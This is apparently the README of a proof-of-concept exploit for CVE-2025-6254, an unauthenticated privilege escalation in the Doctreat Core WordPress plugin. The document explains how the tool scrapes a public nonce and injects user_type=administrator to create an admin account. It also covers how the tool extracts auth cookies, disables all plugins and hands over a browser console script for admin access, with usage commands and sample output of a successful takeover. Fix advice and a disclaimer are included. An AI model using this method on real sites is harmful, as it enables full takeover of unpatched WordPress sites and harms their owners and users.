CVE-2025-6254 — Doctreat Core <= 1.6.8 — Unauthenticated Privilege Escalation via Role Injection

🔥 Vulnerability Summary

The WordPress plugin Doctreat Core versions <= 1.6.8 is vulnerable to an unauthenticated privilege escalation vulnerability. This critical flaw allows unauthenticated attackers to create a new Administrator account directly through the plugin's registration AJAX endpoint.

The vulnerability stems from the doctreat_process_registration() function in hooks/hooks.php, which accepts the user_type parameter directly from user-submitted POST data and passes it as the role parameter to wp_update_user() without proper authorization or allowlist validation. The plugin only applies esc_sql() (which does not validate roles) — it never checks whether the role is safe for public registration.

Breakthrough Discovery: The nonce used by Doctreat (scripts_vars.ajax_nonce) is exposed on any public page of the active Doctreat theme. The user_type parameter, which normally controls whether a user registers as "doctors", "hospitals", or "regular_users", can be overridden via POST to user_type=administrator — and this value is passed directly as the WordPress role parameter.

🔍 Affected Plugin

• Plugin Name: Doctreat Core
• Affected Version: <= 1.6.8
• Vulnerability Type: Unauthenticated Privilege Escalation via Role Injection
• CVE ID: CVE-2025-6254
• CVSS Score: 9.8 (Critical)
• CWE: CWE-269 — Improper Privilege Management
• Impact: Full Site Takeover — Admin Account Creation

🧨 What Attackers Can Do

🧪 Exploit Features

• 🔓 No authentication required
• 📝 Works through registration AJAX endpoint
• 🎯 Targets the AJAX endpoint /wp-admin/admin-ajax.php?action=doctreat_process_registration
• 🧠 Role injection — submits user_type=administrator alongside normal registration fields
• 🌐 Automatic nonce extraction — scrapes ajax_nonce from Doctreat theme's public pages
• 🔐 Bypasses nonce verification — uses legitimate nonce exposed by theme scripts
• 🔗 Auto-detects http/https — no need to specify protocol
• 🔒 Insecure SSL support — works with self-signed/invalid certificates
• 🎛️ Auto-disable all plugins — 3 methods: plugins.php bulk action, REST API, admin-ajax.php
• 🍪 Cookie extraction — outputs WordPress auth cookies for browser/curl use
• 🧠 JavaScript console script — paste to browser DevTools for instant admin access

🧠 Vulnerable Code

// doctreat_core/hooks/hooks.php ~ line 296
wp_update_user( array(
    'ID' => esc_sql( $user_identity ),
    'role' => esc_sql( $user_type ),  // ← user_type from $_POST via extract($_POST)
    'user_status' => 0
) );

// ~ line 311 — Sets _is_verified after registration
update_user_meta( $user_identity, '_is_verified', 'no' );

Note: On targets with default verification settings ($verify_user empty or 'remove'), the user is automatically verified and gains immediate admin access. Targets with email verification or admin approval enabled will require additional verification steps.

🚀 Usage

python3 CVE-2025-6254_exploit.py target.com
python3 CVE-2025-6254_exploit.py https://target.com
python3 CVE-2025-6254_exploit.py http://target.com:8080

Login with Existing Credentials (Get Cookies)

python3 CVE-2025-6254_exploit.py target.com username password

Full Output Example

============================================================
CVE-2025-6254 PoC - Doctreat Core Privilege Escalation
============================================================
[*] Target: https://target.com
[+] Found nonce from https://target.com/: abc123xyz
[*] Sending registration request...
[*] Username: hackeradmin1234
[*] Role: administrator

[+] EXPLOIT SUCCESSFUL!
[+] Username: hackeradmin1234
[+] Password: Password@1234!
[+] Email: [email protected]
[+] Role: ADMINISTRATOR

[*] Attempting to login and extract cookies...
[*] Trying Doctreat admin-ajax.php login...
[*] AJAX login status: 200
[*] AJAX login response: {"type":"success","loggedin":true,...}

[+] LOGIN SUCCESSFUL! AUTH COOKIES EXTRACTED!
[+] JAVASCRIPT CONSOLE SCRIPT (COPY & PASTE):
// Paste this in browser DevTools console for instant admin access

[*] PHASE 2: AUTO-DISABLE ALL PLUGINS (PYTHON)
[*] Fetching plugin list from: https://target.com/wp-admin/plugins.php
[+] Found nonce: def456uvw
[+] Found 15 active plugins
[*] Disabling all plugins via bulk action...
[+] ALL PLUGINS DISABLED SUCCESSFULLY!

JavaScript Console Script

After running the exploit, copy the generated JavaScript and paste it in your browser's DevTools Console (F12):

(function() {
    'use strict';
    console.log('[*] Starting WordPress admin access...');
    // ... cookies set automatically ...
    window.location.href = 'https://target.com/wp-admin/';
})();

Requirements

• Python 3.6+
• requests library (pip install requests)
• Target must have:
  • Doctreat theme active (for nonce extraction)
  • Doctreat Core plugin <= 1.6.8 activated
  • User registration enabled

🛠 Fix Recommendations

// SECURE: Allowlist only safe roles for public registration
$allowed_roles = array('doctors', 'hospitals', 'regular_users', 'seller');
if (!in_array($user_type, $allowed_roles, true)) {
    $user_type = 'regular_users';  // ← Reject ALL dangerous roles
}

• Implement strict role allowlist for registration
• Add current_user_can('create_users') capability checks for privileged roles
• Validate user_type before passing to wp_update_user()
• Consider removing role assignment from public registration entirely

🧠 Researcher

• Credit: Friderika Baranyai (Foxyyy)

📚 References

• Wordfence Advisory

🔒 Disclaimer

This information is provided for educational and authorized penetration testing purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.